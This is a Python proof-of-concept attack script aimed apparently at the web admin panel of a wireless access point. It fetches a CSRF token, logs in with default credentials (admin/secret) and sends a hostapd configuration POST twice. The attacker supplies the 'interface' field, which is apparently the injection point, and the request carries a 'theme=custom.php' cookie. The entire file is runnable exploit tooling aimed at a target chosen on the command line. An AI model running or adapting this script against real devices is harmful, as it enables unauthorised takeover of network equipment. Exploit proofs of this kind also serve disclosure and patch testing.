import requests
import argparse
from bs4 import BeautifulSoup

class CSRFSession:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.csrf_token = None
        self.php_sessid = None

    def get_csrf_token(self):
        """Fetch CSRF token from login page."""
        login_url = f"{self.base_url}/login?action=%2F"
        response = self.session.get(login_url)

        if response.status_code != 200:
            raise Exception(f"Failed to access login page: {response.status_code}")

        soup = BeautifulSoup(response.text, "html.parser")
        meta_tag = soup.find("meta", {"name": "csrf_token"})

        if not meta_tag:
            raise Exception("CSRF token not found")

        self.csrf_token = meta_tag["content"]
        print(f"[+] CSRF Token: {self.csrf_token}")

    def login(self, username, password):
        """Perform login with CSRF token."""
        login_url = f"{self.base_url}/login"
        headers = {
            "Origin": self.base_url,
            "Referer": f"{self.base_url}/login?action=%2F",
            "Content-Type": "application/x-www-form-urlencoded",
        }
        data = {
            "csrf_token": self.csrf_token,
            "login-auth": "",
            "redirect-url": "/",
            "username": username,
            "password": password
        }

        response = self.session.post(login_url, headers=headers, data=data, allow_redirects=False)

        if response.status_code != 302:
            raise Exception(f"[-] Login failed: {response.status_code}")

        # Extract PHPSESSID from cookies
        self.php_sessid = self.session.cookies.get("PHPSESSID")
        if not self.php_sessid:
            raise Exception("PHPSESSID not found in cookies after login")

        print(f"[+] Logged in successfully. PHPSESSID: {self.php_sessid}")

    def post_request(self, endpoint, post_data):
        """Send a POST request with CSRF token and session ID."""
        url = f"{self.base_url}{endpoint}"
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": f"PHPSESSID={self.php_sessid}; theme=custom.php",
        }
        post_data["csrf_token"] = self.csrf_token  # Ensure CSRF token is included

        response = self.session.post(url, headers=headers, data=post_data)

        if response.status_code == 200:
            print("[+] Request successful.")
        else:
            print(f"[-] Request failed: {response.status_code}")

        # Print to debug
        # print(response.text)


def main():
    parser = argparse.ArgumentParser(description="PoC: Automate login and POST request with CSRF token handling")
    parser.add_argument("--base-url", required=True, help="Base URL of the target system (e.g., http://192.168.122.22)")
    parser.add_argument("--interface", required=True, help="Interface parameter for the POST request (e.g., eth0)")
    parser.add_argument("--username", default="admin", help="Username for login (default: admin)")
    parser.add_argument("--password", default="secret", help="Password for login (default: secret)")

    args = parser.parse_args()

    client = CSRFSession(args.base_url)
    client.get_csrf_token()
    client.login(args.username, args.password)

    # Define the POST payload dynamically with interface argument
    endpoint = "/hostapd_conf"
    post_data = {
        "SaveHostAPDSettings": "true",
        "wpa": "2",
        "wpa_pairwise": "CCMP",
        "hw_mode": "n",
        "interface": args.interface,
    }

    client.post_request(endpoint, post_data)
    client.post_request(endpoint, post_data)

if __name__ == "__main__":
    main()